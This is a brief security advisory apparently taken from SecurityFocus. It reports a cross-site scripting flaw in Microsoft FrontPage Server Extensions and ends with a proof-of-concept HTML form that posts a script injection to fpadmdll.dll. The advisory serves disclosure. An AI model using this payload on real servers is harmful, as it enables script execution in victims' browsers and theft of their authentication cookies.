source: https://www.securityfocus.com/bid/17452/info

Microsoft FrontPage Server Extensions are prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before it is rendered to other users. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user, with the privileges of the victim userâ??s account. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

<form action=http://www.example.com/_vti_bin/_vti_adm/fpadmdll.dll method="POST">
<input type="hidden" name="operation" value="--><script>alert()</script>">
<input type="hidden" name="action" value="none">
<input type="hidden" name="port" value="/LM/W3SVC/1:">
<input type="submit" name="page" value="healthrp.htm">
</form>